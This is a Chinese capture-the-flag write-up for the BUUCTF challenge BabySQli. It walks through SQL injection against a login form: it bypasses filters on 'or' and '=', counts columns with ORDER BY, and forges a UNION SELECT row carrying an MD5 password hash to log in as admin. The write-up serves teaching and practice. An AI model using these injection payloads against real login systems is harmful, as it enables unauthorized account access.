BUUCTF | [GXYCTF2019]BabySQli

Posted 山川绿水

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BUUCTF | [GXYCTF2019]BabySQli相关的知识,希望对你有一定的参考价值。

BUUCTF | [GXYCTF2019]BabySQli

一、必备基础知识

=号被过滤了使用likerlike绕过
or被过滤了使用大小写绕过,双写绕过,&&绕过

二、实战化渗透

[GXYCTF2019]BabySQli
因为本道题目的请求方式是POST,直接上手抓包,便于我们方便测试.
用户名:admin,密码123进行简单的测试,

2.发现有一行提示,一看便知这是base32加密后的结果

MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5

3.直接base32在线解密

4.解密之后发现是base64加密,使用base64在线解密

5.通过上述的解密,可以得到SQL查询语句

select * from user where username = '$name'

6.使用admin' or 1=1#进行测试,发现or=被过滤啦

7.使用大小写绕过or,使用like绕过=

name=admin' Or '1' like '1' #&pw=123


8.爆破字段的列

admin%27+Order+by+1%2C2%2C3%2C4%23

9.发现有三列,我在本机测试,使用Union select判断其显位点

-1' union select 1,2,3 #


10.但是本道题没有像其他的题目一样爆破出显位点,得到依然是错误的用户名,而只用我们输入用户admin时,它的报错是密码错误

admin' union select 1,2,3 #


11.本道题试了很多其他的测试方法都无事于补,说明本道题目的逻辑是这样的,先判断其用户名是否正确,如果正确的话就判断密码,否则就会报错。我们可以使用union select的特性——临时打印一张虚拟的表

select * from users where username = 'a' union select 1,2,3 #;


12.上述是我在本机上进行测试Union select的方法,再回到本题中,进行测试

-1' union select 1,'admin','123'#


报错密码错误


13.猜测密码可能错误,尝试比较常用的md5加密,md5加密网站

14.运气比较好,直接得到flag

name=-1' union select 1,'admin','202cb962ac59075b964b07152d234b70' #&pw=123

三、知识点总结

1.本道题目主要是逻辑较强,只能使用admin用户登录,当然也有其他用户可以登录,主要是没发现,只用用户名正确之后,才会判断其密码是否正确;
2.本道题目的密码采用了md5(32位)的加密方式;
3.解决本道题目有点类似于撞库,但是又完全是,使用union select 建立虚拟的表绕过

以上是关于BUUCTF | [GXYCTF2019]BabySQli的主要内容,如果未能解决你的问题,请参考以下文章

BUUCTF[GXYCTF2019]BabySQli

BUUCTF [GXYCTF2019]BabyUpload

BUUCTF[GXYCTF2019]PingPingPing

BUUCTF-[GXYCTF2019]Ping Ping Ping(命令执行)

buuctf 两道GXYCTF逆向

BUUCTF-web